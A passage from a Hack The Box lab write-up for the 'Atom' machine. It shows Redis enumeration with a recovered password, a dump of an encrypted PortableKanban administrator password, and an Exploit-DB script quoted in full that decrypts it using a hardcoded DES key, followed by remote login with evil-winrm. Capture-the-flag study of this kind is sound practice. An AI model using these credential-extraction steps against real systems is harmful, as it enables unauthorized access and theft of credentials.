10.10.10.237:6379[1]> KEYS *
(empty array)
10.10.10.237:6379[1]> SELECT 2
OK
10.10.10.237:6379[2]> KEYS *
(empty array)
10.10.10.237:6379[2]> SELECT 3
OK
10.10.10.237:6379[3]> KEYS *
(empty array)
10.10.10.237:6379[3]> SELECT 4
OK
10.10.10.237:6379[4]> KEYS *
(empty array)
10.10.10.237:6379[4]>
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> keys *
1) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
2) "pk:ids:MetaDataClass"
3) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
4) "pk:ids:User"
10.10.10.237:6379>
I wasn’t sure where to go from here. I took a couple of hints which suggested searching the keys was the right thing to do, so I wasn’t sure where I was going wrong. I reset the box, and got the same result. I thought maybe PortableKanban had to be run to populate the keys entry, but wasn’t sure how to do that.
RedisDump
Instead, I looked for an alternative tool to dump the data - which is always a good thing to do if you’re stuck but feel you’re in the right direction.
I looked at redis-dump, which required Node to be installed:
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ which npm
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ node -v
Command 'node' not found, but can be installed with:
sudo apt install nodejs
Do you want to install it? (N/y)y
sudo apt install nodejs
...[snip]...
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ node -v
v12.21.0
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ npm -v
Command 'npm' not found, but can be installed with:
sudo apt install npm
Do you want to install it? (N/y)y
sudo apt install npm
...[snip]...
Then we can install and run it:
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ sudo npm install redis-dump -g
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ cd .. && redis-dump -h 10.10.10.237 -a kidvscat_yes_kidvscat > dump.txt
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls
client1 dump.txt heed_source "heedv1'Setup1.0.2.php.exe" latest.yml.old nmap send-payload.py to-serve
client2 heed.gpr 'heedv1 Setup 1.0.1.exe' latest.yml latest.yml.php redis-dump.py send-payload.sh "to-serveheed'setup.exe"
client3 heed.rep "heedv1'Setup1.0.1.exe" latest.yml.example latest.yml.working results smb UAT_Testing_Procedures.pdf
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ cat dump.txt
DEL pk:ids:MetaDataClass
SADD pk:ids:MetaDataClass ffffffff-ffff-ffff-ffff-ffffffffffff
DEL pk:ids:User
SADD pk:ids:User e8e29158-d70d-44b1-a1ba-4949d52790a0
SET pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff '{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\\/Date(1617420120000-0700)\\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\\/Date(-62135596800000-0000)\\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637530169345346438}'
SET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 '{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}'
We get a new password: Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
Now we can run the decrypt script:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ searchsploit portablekanban
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval | windows/local/49409.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ searchsploit -m windows/local/49409.py
Exploit: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
URL: https://www.exploit-db.com/exploits/49409
Path: /usr/share/exploitdb/exploits/windows/local/49409.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /home/mac/Documents/HTB/atom/49409.py
We have to edit the script to use just one password (as we don’t have a .pk3
file to supply):
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ cat 49409.py
# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
# Date: 9 Jan 2021
# Exploit Author: rootabeta
# Vendor Homepage: The original page, https://dmitryivanov.net/, cannot be found at this time of writing. The vulnerable software can be downloaded from https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Software Link: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.
# Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on.
# PortableKanBan stores credentials in an encrypted format
# Reverse engineering the executable allows an attacker to extract credentials from local storage
# Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials
import json
import base64
from des import * #python3 -m pip install des
import sys
def decode(hash):
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
print("{}:{}".format("Administrator",decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi")))
Then install the required libraries and run it
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 -m pip install des
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 49409.py
Administrator:kidvscat_admin_@123
Now we can use evil-winrm
:
And grab the flag:
That’s the box!
And here is the matrix rating I gave it: